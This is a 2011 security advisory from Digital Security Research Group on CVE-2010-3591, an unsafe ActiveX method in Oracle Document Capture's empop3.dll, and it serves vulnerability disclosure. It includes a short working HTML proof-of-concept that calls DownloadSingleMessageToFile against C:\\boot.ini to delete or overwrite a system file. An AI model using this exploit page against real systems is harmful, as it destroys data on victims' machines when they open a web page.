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3.8 KiB
Text
Source: http://packetstormsecurity.org/files/view/97868/DSECRG-11-005.txt
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ActiveX components contain insecure methods.
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Digital Security Research Group [DSecRG] Advisory DSECRG-11-005 (internal #DSECRG-00154)
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Application: Oracle Document Capture
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Versions Affected: Release 10gR3
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Vendor URL: www.oracle.com
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Bugs: insecure method, File overwriting, File deleting
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Exploits: YES
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Reported: 22.03.2010
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Vendor response: 31.03.2010
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Date of Public Advisory:24.01.2011
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CVE-number: CVE-2010-3591
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Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
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Description
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***********
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Oracle Document Capture contains ActiveX components that contains insecure methods in empop3.dll
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Details
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*******
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Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
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which is contains insecure method "DownloadSingleMessageToFile" that can delete any file in system.
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Class EasyMailPop3
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GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
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Number of Interfaces: 1
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Default Interface: IPOP3Main
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RegKey Safe for Script: False
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RegkeySafe for Init: False
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KillBitSet: False
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Details
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*******
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Attacker can construct html page which call vulnerable function "DownloadSingleMessageToFile" from ActiveX component empop3.dll
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Example:
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<HTML>
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<HEAD>
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<TITLE>DSecRG</TITLE>
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</HEAD>
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<BODY>
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<OBJECT id='eds' classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>
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<SCRIPT>
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function Exploit(){
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eds.DownloadSingleMessageToFile(1,"C:\\boot.ini",1);
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}
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Exploit();
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</SCRIPT>
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</BODY>
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</HTML>
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References
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**********
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http://dsecrg.com/pages/vul/show.php?id=305
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http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
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Fix Information
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*************
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Information was published in CPU Jan 2011.
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All customers can download CPU patches following instructions from:
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http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
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About
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*****
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Digital Security:
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Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.
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Digital Security Research Group:
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International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.
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Contact: research [at] dsecrg [dot] com
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http://www.dsecrg.com
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http://www.erpscan.com
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Polyakov Alexandr. PCI QSA,PA-QSA
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CTO Digital Security
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Head of DSecRG
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______________________
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DIGITAL SECURITY
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phone: +7 812 703 1547
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+7 812 430 9130
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e-mail: a.polyakov@dsec.ru
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www.dsec.ru
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www.dsecrg.com www.dsecrg.ru
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www.erpscan.com www.erpscan.ru
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www.pcidssru.com www.pcidss.ru
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-----------------------------------
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This message and any attachment are confidential and may be privileged or otherwise protected
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from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure
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is strictly prohibited. If you have received this message in error, please notify the sender immediately
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either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence
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via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding
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statements by e-mail unless otherwise agreed.
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----------------------------------- |